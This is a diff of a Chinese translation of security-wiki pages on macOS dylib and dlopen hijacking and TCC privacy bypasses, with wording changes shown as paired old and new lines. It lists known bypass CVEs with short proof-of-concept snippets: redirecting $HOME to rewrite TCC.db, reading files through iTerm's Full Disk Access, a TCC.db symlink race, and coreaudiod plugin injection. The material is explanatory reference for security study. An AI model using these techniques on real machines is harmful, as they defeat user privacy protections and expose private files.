> 查看代码并 **检查 `src/dyld.cpp`**。在函数 **`pruneEnvironmentVariables`** 中,您可以看到 **`DYLD_*`** 变量被移除。
>
@ -29,22 +29,22 @@ macos-dyld-process.md
> - 二进制文件是 `setuid/setgid`
> - macho 二进制文件中存在 `__RESTRICT/__restrict` 部分。
> - 软件具有权限(强化运行时),但没有 [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) 权限
> - 使用以下命令检查二进制文件的 **权限**`codesign -dv --entitlements :- </path/to/bin>`
> - 使用以下命令检查二进制文件的 **权限** `codesign -dv --entitlements :- </path/to/bin>`
>
> 在更新版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到此逻辑。然而,在较新版本中执行的是该函数的 **始检查**(您可以删除与 iOS 或模拟相关的 if因为这些在 macOS 中不会使用)。
> 在更新版本中,您可以在函数 **`configureProcessRestrictions`** 的第二部分找到此逻辑。然而,在较新版本中执行的是该函数的 **始检查**(您可以删除与 iOS 或模拟相关的 if因为这些在 macOS 中不会使用)。
### 库验证
即使二进制文件允许使用 **`DYLD_INSERT_LIBRARIES`** 环境变量,如果二进制文件检查要加载的库的签名,它也不会加载自定义库。
为了加载自定义库,二进制文件需要具有 **以下任一权限**
为了加载自定义库,二进制文件需要具有 **以下权限之一**
- [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
- [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
或者二进制文件 **不应该** 具有 **强化运行时标志****库验证标志**
您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有 **强化运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
您可以使用 `codesign --display --verbose <bin>` 检查二进制文件是否具有 **强化运行时**,检查 **`CodeDirectory`** 中的 runtime 标志,如:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
如果库 **使用与二进制文件相同的证书签名**,您也可以加载该库。
@ -57,9 +57,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dylib 劫持
> [!CAUTION]
> 请记住,**先前的库验证限制也适用于执行 Dylib 劫持攻击**
> 请记住,**先前的库验证限制也适用于** 执行 Dylib 劫持攻击。
与 Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,从普通用户的角度来看,这可能不可行,因为您可能需要 TCC 权限才能写入 `.app`并劫持库)。\
与 Windows 一样,在 MacOS 中,您也可以 **劫持 dylibs** 使 **应用程序** **执行** **任意** **代码**(实际上,从普通用户的角度来看,这可能不可行,因为您可能需要 TCC 权限才能`.app` 包内写入并劫持库)。\
然而,**MacOS** 应用程序 **加载** 库的方式 **比 Windows 更受限制**。这意味着 **恶意软件** 开发人员仍然可以使用此技术进行 **隐蔽**,但能够 **滥用此技术以提升权限的可能性要低得多**
首先,**更常见** 的情况是 **MacOS 二进制文件指示要加载的库的完整路径**。其次,**MacOS 从不在 **$PATH** 的文件夹中搜索库**。
@ -89,9 +89,9 @@ compatibility version 1.0.0
```
- **配置为 @rpath**Mach-O 二进制文件可以具有 **`LC_RPATH`** 和 **`LC_LOAD_DYLIB`** 命令。根据这些命令的 **值****库** 将从 **不同目录** 加载。
- **`LC_RPATH`** 包含用于通过二进制文件加载库的一些文件夹的路径。
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用每个路径来搜索要加载的库。例如:
- **`LC_LOAD_DYLIB`** 包含要加载的特定库的路径。这些路径可以包含 **`@rpath`**,将 **`LC_RPATH`** 中的值 **替换**。如果 **`LC_RPATH`** 中有多个路径,将使用所有路径来搜索要加载的库。例如:
- 如果 **`LC_LOAD_DYLIB`** 包含 `@rpath/library.dylib`,而 **`LC_RPATH`** 包含 `/application/app.app/Contents/Framework/v1/``/application/app.app/Contents/Framework/v2/`。这两个文件夹将用于加载 `library.dylib`**。** 如果库在 `[...]/v1/` 中不存在,攻击者可以将其放置在那里以劫持在 `[...]/v2/` 中加载库,因为 **`LC_LOAD_DYLIB`** 中的路径顺序被遵循。
- **在二进制文件中查找 rpath 路径和库**`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
- **在二进制文件中查找 rpath 路径和库** `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOTE] > **`@executable_path`**:是包含 **主可执行文件****目录****路径**
>
@ -100,11 +100,11 @@ compatibility version 1.0.0
> - 在可执行文件中使用时,**`@loader_path`** 实际上与 **`@executable_path`** 相同。
> - 在 **dylib** 中使用时,**`@loader_path`** 给出 **dylib****路径**
滥用此功能以 **提升权限** 的方式是在 **应用程序****root** 执行**查找** 攻击者具有写权限的某个文件夹中的 **库**
滥用此功能以 **提升权限** 的方式是在 **应用程序****root** 执行的情况下,**查找** 攻击者具有写权限的某个文件夹中的 **库**
> [!TIP]
> 一个很好的 **扫描器** 用于查找应用程序中的 **缺失库** 是 [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) 或 [**CLI 版本**](https://github.com/pandazheng/DylibHijack)。\
> 关此技术的 **技术细节** 的很好的 **报告** 可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。
> 关此技术的 **技术细节** 的很好的 **报告** 可以在 [**这里**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) 找到。
**示例**
@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
## Dlopen 劫持
> [!CAUTION]
> 请记住,**先前的库验证限制也适用于执行 Dlopen 劫持攻击**
> 请记住,**先前的库验证限制也适用于** 执行 Dlopen 劫持攻击。
来自 **`man dlopen`**
- 当路径 **不包含斜杠字符**(即它只是一个叶名称)时,**dlopen() 将进行搜索**。如果 **`$DYLD_LIBRARY_PATH`** 在启动时设置dyld 将首先 **在该目录中查找**。接下来,如果调用的 mach-o 文件或主可执行文件指定 **`LC_RPATH`**,则 dyld 将 **在这些** 目录中查找。接下来,如果进程是 **不受限制的**dyld 将在 **当前工作目录** 中搜索。最后对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置dyld 将在 **这些目录中搜索**否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息来自 **`man dlopen`**)。
- 当路径 **不包含斜杠字符**(即它只是一个叶名称)时,**dlopen() 将进行搜索**。如果 **`$DYLD_LIBRARY_PATH`** 在启动时设置dyld 将首先 **在该目录中查找**。接下来,如果调用的 mach-o 文件或主可执行文件指定 **`LC_RPATH`**,则 dyld 将 **在这些** 目录中查找。接下来,如果进程是 **不受限制的**dyld 将在 **当前工作目录** 中搜索。最后对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置dyld 将在 **这些目录中搜索**否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找(此信息来自 **`man dlopen`**)。
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(如果不受限制)
@ -128,14 +128,14 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
6. `/usr/lib/`
> [!CAUTION]
> 如果名称中没有斜杠,则有 2 种方法可以进行劫持:
> 如果名称中没有斜杠,则有 2 种方进行劫持:
>
> - 如果任何 **`LC_RPATH`** 是 **可写的**(但签名会被检查,因此为此您还需要二进制文件不受限制)
> - 如果二进制文件是 **不受限制的**然后可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
> - 如果二进制文件是 **不受限制的**那么可以从 CWD 加载某些内容(或滥用提到的环境变量之一)
- 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`)时,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`。接下来dyld 将尝试 **按原样使用提供的路径**使用当前工作目录进行相对路径。最后对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后 **`/System/Library/Frameworks`**。
- 当路径 **看起来像框架** 路径(例如 `/stuff/foo.framework/foo`)时,如果 **`$DYLD_FRAMEWORK_PATH`** 在启动时设置dyld 将首先在该目录中查找 **框架部分路径**(例如 `foo.framework/foo`。接下来dyld 将尝试 **按原样使用提供的路径**使用当前工作目录进行相对路径。最后对于旧二进制文件dyld 将尝试一些后备方案。如果 **`$DYLD_FALLBACK_FRAMEWORK_PATH`** 在启动时设置dyld 将在这些目录中搜索。否则,它将搜索 **`/Library/Frameworks`**(在 macOS 上,如果进程不受限制),然后 **`/System/Library/Frameworks`**。
1. `$DYLD_FRAMEWORK_PATH`
2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径)
2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks`(如果不受限制)
5. `/System/Library/Frameworks`
@ -143,11 +143,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION]
> 如果是框架路径,劫持它的方法是:
>
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 提到的环境变量(即使文档中没有说明,如果进程受限DYLD_* 环境变量会被移除)
> - 如果进程是 **不受限制的**,滥用 **相对路径从 CWD** 提到的环境变量即使文档中没有说明如果进程受限DYLD_* 环境变量会被移除)
- 当路径 **包含斜杠但不是框架路径**(即到 dylib 的完整路径或部分路径dlopen() 首先在(如果设置) **`$DYLD_LIBRARY_PATH`** 中查找使用路径的叶部分。接下来dyld **尝试提供的路径**使用当前工作目录进行相对路径但仅适用于不受限制的进程。最后对于旧二进制文件dyld 将尝试后备方案。如果 **`$DYLD_FALLBACK_LIBRARY_PATH`** 在启动时设置dyld 将在这些目录中搜索否则dyld 将在 **`/usr/local/lib/`** 中查找(如果进程不受限制),然后在 **`/usr/lib/`** 中查找。
1. `$DYLD_LIBRARY_PATH`
2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径)
2. 提供的路径(如果不受限制,使用当前工作目录进行相对路径)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/`(如果不受限制)
5. `/usr/lib/`
@ -155,16 +155,16 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION]
> 如果名称中有斜杠且不是框架,则劫持它的方法是:
>
> - 如果二进制文件是 **不受限制的**然后可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
> - 如果二进制文件是 **不受限制的**那么可以从 CWD 或 `/usr/local/lib` 加载某些内容(或滥用提到的环境变量之一)
> [!NOTE]
> 注意:没有配置文件来 **控制 dlopen 搜索**
>
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)
> 注意:如果主可执行文件是 **set\[ug]id 二进制文件或具有权限的代码签名**,则 **所有环境变量都被忽略**,只能使用完整路径([检查 DYLD_INSERT_LIBRARIES 限制](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions)以获取更详细的信息)
>
> 注意Apple 平台使用“通用”文件来组合 32 位和 64 位库。这意味着没有 **单独的 32 位和 64 位搜索路径**
>
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上存在。因此,调用 **`stat()`** 预检操作系统 dylib 是否存在 **将不起作用**。但是,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
> 注意:在 Apple 平台上,大多数操作系统 dylibs 被 **组合到 dyld 缓存中**,并且在磁盘上存在。因此,调用 **`stat()`** 预检操作系统 dylib 是否存在 **将不起作用**。但是,**`dlopen_preflight()`** 使用与 **`dlopen()`** 相同的步骤来查找兼容的 mach-o 文件。
**检查路径**
@ -211,7 +211,7 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
如果你编译并执行它,你可以看到**每个库被搜索但未成功的地方**。此外,你还可以**过滤文件系统日志**
如果你编译并执行它,你可以看到**每个库被搜索但未成功找到的位置**。此外,你还可以**过滤文件系统日志**
```bash
sudo fs_usage | grep "dlopentest"
```
@ -284,7 +284,7 @@ sudo chmod -s hello
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### 加固运行时
### Hardened runtime
在钥匙串中创建一个新证书,并使用它来签署二进制文件:
```bash
@ -307,9 +307,9 @@ codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
> [!CAUTION]
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获 **`CS_RESTRICT`** 标志,因此此技术在它们中不起作用。
> 请注意,即使有二进制文件带有标志 **`0x0(none)`**,它们在执行时也可以动态获 **`CS_RESTRICT`** 标志,因此此技术在它们中不起作用。
>
> 您可以通过 (get [**csops here**](https://github.com/axelexic/CSOps)) 检查进程是否具有此标志:
> 您可以使用 (get [**csops here**](https://github.com/axelexic/CSOps)) 检查进程是否具有此标志:
>
> ```bash
> csops -status <pid>

View File

@ -1,4 +1,4 @@
# macOS TCC 绕过
# macOS TCC Bypasses
{{#include ../../../../../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
### 写入绕过
这不是一个绕过,这只是 TCC 的工作方式:**它不防止写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入其中**
这不是一个绕过,这只是 TCC 的工作方式:**它不保护写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入其中**
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -27,7 +27,7 @@ asd
### TCC 请求任意名称
攻击者可以 **创建任何名称的应用**(例如 Finder、Google Chrome...)在 **`Info.plist`** 中,并使其请求访问某些 TCC 保护的位置。用户会认为是合法应用在请求此访问。\
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信合法应用请求了访问。
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可能会调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信合法应用请求了访问。
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -37,7 +37,7 @@ asd
../../../macos-privilege-escalation.md
{{#endref}}
### SSH Bypass
### SSH 绕过
默认情况下,通过 **SSH 的访问曾经具有 "完全磁盘访问"**。为了禁用此功能,你需要将其列出但禁用(从列表中移除不会删除这些权限):
@ -48,13 +48,13 @@ asd
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
> [!CAUTION]
> 请注意,现在要能够启用 SSH你需要 **完全磁盘访问**
> 请注意,现在要能够启用 SSH你需要 **完全磁盘访问**
### 处理扩展 - CVE-2022-26767
属性 **`com.apple.macl`** 被赋予文件便**某个应用程序读取它的权限。** 当 **拖放** 文件到应用程序上,或当用户 **双击** 文件以使用 **默认应用程序** 打开时,会设置此属性。
属性 **`com.apple.macl`** 被赋予文件以给 **某个应用读取它的权限。** 当 **拖放** 文件到应用上,或当用户 **双击** 文件以使用 **默认应用** 打开时,此属性被设置
因此,用户可以 **注册一个恶意应用** 来处理所有扩展并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
因此,用户可以 **注册一个恶意应用** 来处理所有扩展并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
### iCloud
@ -62,7 +62,7 @@ asd
**iMovie** 和 **Garageband** 拥有此权限以及其他允许的权限。
有关利用权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
有关利用权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / 自动化
@ -78,9 +78,9 @@ macos-apple-scripts.md
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
#### 在 iTerm 上
#### 通过 iTerm
没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm,并利用它执行操作:
Terminal没有 FDA可以调用 iTermiTerm 拥有 FDA,并利用它执行操作:
```applescript:iterm.script
tell application "iTerm"
activate
@ -108,14 +108,14 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
```
## 按应用行为
## By App behaviour
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
根据 [ Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制传递给它的所有环境变量**。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录****重启** **TCC** daemon然后 **直接修改 TCC 数据库**使自己获得 **所有可用的 TCC 权限**,而无需提示最终用户。\
根据 [ Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制所有传递给它的环境变量**。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录****重启** **TCC** daemon然后 **直接修改 TCC 数据库**赋予自己 **所有可用的 TCC 权限**,而无需提示最终用户。\
PoC:
```bash
# reset database just in case (no cheating!)
@ -151,20 +151,37 @@ Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔
### CVE-2021-30782 - 迁移
二进制文件 `/usr/libexec/lsd` 与库 `libsecurity_translocate` 具有特权 `com.apple.private.nullfs_allow`,这允许它创建 **nullfs** 挂载,并且具有特权 `com.apple.private.tcc.allow`使用 **`kTCCServiceSystemPolicyAllFiles`** 访问每个文件。
二进制文件 `/usr/libexec/lsd` 与库 `libsecurity_translocate` 具有特权 `com.apple.private.nullfs_allow`,这允许它创建 **nullfs** 挂载,并且具有特权 `com.apple.private.tcc.allow`,以 **`kTCCServiceSystemPolicyAllFiles`** 访问每个文件。
可以将隔离属性添加到 "Library",调用 **`com.apple.security.translocation`** XPC 服务,然后它会将 Library 映射到 **`$TMPDIR/AppTranslocation/d/d/Library`**,其中 Library 内的所有文档都可以 **访问**
可以将隔离属性添加到 "Library",调用 **`com.apple.security.translocation`** XPC 服务,然后它会将 Library 映射到 **`$TMPDIR/AppTranslocation/d/d/Library`**,其中 Library 内的所有文档都可以 **访问**
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`** 有一个有趣的功能:当它运行时,它会将拖
**`Music`** 有一个有趣的功能:当它运行时,它会 **导入** 被拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件到用户的 "媒体库"。此外,它调用类似于:**`rename(a, b);`** 的操作,其中 `a``b` 是:
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
这个 **`rename(a, b);`** 行为容易受到 **竞争条件** 的影响,因为可以在 `Automatically Add to Music.localized` 文件夹中放置一个假的 **TCC.db** 文件,然后在创建新文件夹 (b) 时复制该文件,删除它,并指向 **`~/Library/Application Support/com.apple.TCC`**。
### SQLITE_SQLLOG_DIR - CVE-2023-32422
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被 **一个具有 FDA 的进程打开 TCC 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被覆盖**
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和** [**在演讲中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
### **SQLITE_AUTO_TRACE**
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有的 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。
多个 Apple 应用程序使用这个库来访问 TCC 保护的信息。
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
这个 **env 变量被 `Metal` 框架使用**,这是各种程序的依赖,尤其是 `Music`,它具有 FDA。
这个 **env 变量被 `Metal` 框架使用**,这是多个程序的依赖,最显著的`Music`,它具有 FDA。
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。如果 `path` 是有效目录,漏洞将被触发,我们可以使用 `fs_usage` 查看程序中发生的事情:
@ -172,21 +189,21 @@ launchctl setenv SQLITE_AUTO_TRACE 1
- 一个或多个 `write()` 将内容写入文件(我们无法控制这一点)
- `path/.dat.nosyncXXXX.XXXXXX` 将被 `renamed()``path/name`
这是一个临时文件写入,随后是一个 **`rename(old, new)`** **这并不安全。**
这是一个临时文件写入,随后是 **`rename(old, new)`** **不安全。**
这并不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`
不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`
> [!CAUTION]
> 所以,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得 RCE 并使其访问不同的文件,或者像在这个 CVE 中那样,打开特权应用程序创建的文件并存储一个 FD。
> 所以,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得 RCE 并使其访问不同的文件,或者像在这个 CVE 中那样,打开特权应用程序创建的文件并存储一个 FD。
>
> 如果重命名访问您控制的文件夹,而您已修改源文件或拥有其 FD您可以将目标文件或文件夹更改为指向一个符号链接这样您可以随时写入。
> 如果重命名访问一个您控制的文件夹,同时您已修改源文件或拥有其 FD您可以将目标文件或文件夹更改为指向一个符号链接这样您可以随时写入。
这是 CVE 中的攻击:例如,要覆盖用户的 `TCC.db`,我们可以:
- 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
- 创建目录 `/Users/hacker/tmp/`
- 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- 通过运行带有此 env 变量的 `Music` 触发漏洞
- 通过运行带有此 env 变量的 `Music` 触发漏洞
- 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX``open()`X 是随机的)
- 在这里我们也 `open()` 这个文件以进行写入,并保持文件描述符
- 原子性地在 `/Users/hacker/tmp``/Users/hacker/ourlink` 之间切换 **在一个循环中**
@ -202,19 +219,19 @@ launchctl setenv SQLITE_AUTO_TRACE 1
### Apple Remote Desktop
作为 root您可以启用此服务**ARD 代理将具有完全的磁盘访问权限**,这可能被用户滥用以使其复制新的 **TCC 用户数据库**
作为 root您可以启用此服务**ARD 代理将具有完全的磁盘访问权限**,这可能被用户滥用以使其复制新的 **TCC 用户数据库**
## 通过 **NFSHomeDirectory**
TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资源访问,路径为 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资源访问,路径为 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
因此,如果用户设法使用指向 **不同文件夹** 的 $HOME env 变量重新启动 TCC用户可以在 **/Library/Application Support/com.apple.TCC/TCC.db** 中创建一个新的 TCC 数据库,并欺骗 TCC 授予任何应用程序任何 TCC 权限。
> [!TIP]
> 请注意Apple 使用存储在用户配置文件中的 **`NFSHomeDirectory`** 属性的设置作为 **`$HOME`** 的值,因此如果您妥协了具有修改此值权限的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**),您可以 **武器化** 此选项以绕过 TCC。
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
### [CVE-20209934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1)
### [CVE-2020-27937 - Directory Utility](#cve-2020-27937-directory-utility-1)
### CVE-2021-30970 - Powerdir
@ -228,7 +245,7 @@ TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资
6. 停止用户的 _tccd_ 并重启该进程。
第二个 POC 使用 **`/usr/libexec/configd`**,它具有 `com.apple.private.tcc.allow`,值为 `kTCCServiceSystemPolicySysAdminFiles`。\
可以使用 **`-t`** 选项运行 **`configd`**,攻击者可以指定 **自定义 Bundle 进行加载**。因此,该漏洞 **替换****`dsexport`** 和 **`dsimport`** 更改用户主目录的方法,使用 **`configd` 代码注入**。
可以使用 **`-t`** 选项运行 **`configd`**,攻击者可以指定 **自定义 Bundle 进行加载**。因此,利用该漏洞 **替换****`dsexport`** 和 **`dsimport`** 更改用户主目录的方法,使用 **`configd` 代码注入**。
有关更多信息,请查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)。
@ -240,20 +257,20 @@ TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资
../../../macos-proces-abuse/
{{#endref}}
此外,发现的最常见的通过 TCC 的进程注入是通过 **插件(加载库)**。\
插件是通常以库或 plist 形式存在的额外代码,将由 **主应用程序加载**,并将在其上下文中执行。因此,如果主应用程序具有访问 TCC 限制文件的权限(通过授予的权限或权利),**自定义代码也将具有这些权限**。
此外,发现的最常见的通过 TCC 绕过的进程注入是通过 **插件(加载库)**。\
插件通常是以库或 plist 形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序具有对 TCC 限制文件的访问(通过授予的权限或特权),**自定义代码也将具有此权限**。
### CVE-2020-27937 - Directory Utility
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 具有权 **`kTCCServiceSystemPolicySysAdminFiles`**,加载了扩展名为 **`.daplug`** 的插件,并且 **没有经过强化** 的运行时。
应用程序 `/System/Library/CoreServices/Applications/Directory Utility.app` 具有**`kTCCServiceSystemPolicySysAdminFiles`**,加载了扩展名为 **`.daplug`** 的插件,并且 **没有经过强化** 的运行时。
为了武器化此 CVE**`NFSHomeDirectory`** 被 **更改**(滥用之前的权),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
为了武器化此 CVE**`NFSHomeDirectory`** 被 **更改**(滥用之前的权),以便能够 **接管用户的 TCC 数据库** 以绕过 TCC。
有关更多信息,请查看 [**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
### CVE-2020-29621 - Coreaudiod
二进制文件 **`/usr/sbin/coreaudiod`** 具有权 `com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`。第一个 **允许代码注入**,第二个则赋予其 **管理 TCC** 的权限。
二进制文件 **`/usr/sbin/coreaudiod`** 具有`com.apple.security.cs.disable-library-validation``com.apple.private.tcc.manager`。第一个 **允许代码注入**,第二个则赋予其 **管理 TCC** 的权限。
该二进制文件允许从文件夹 `/Library/Audio/Plug-Ins/HAL` 加载 **第三方插件**。因此,可以使用此 PoC **加载插件并滥用 TCC 权限**
```objectivec
@ -288,7 +305,7 @@ exit(0);
通过 Core Media I/O 打开摄像头流的系统应用程序(具有 **`kTCCServiceCamera`** 的应用程序)会加载位于 `/Library/CoreMediaIO/Plug-Ins/DAL`**这些插件**(不受 SIP 限制)。
在此处存储一个带有常见 **构造函数** 的库即可 **注入代码**
只需在此处存储一个带有常见 **构造函数** 的库即可 **注入代码**
多个 Apple 应用程序对此存在漏洞。
@ -328,9 +345,9 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
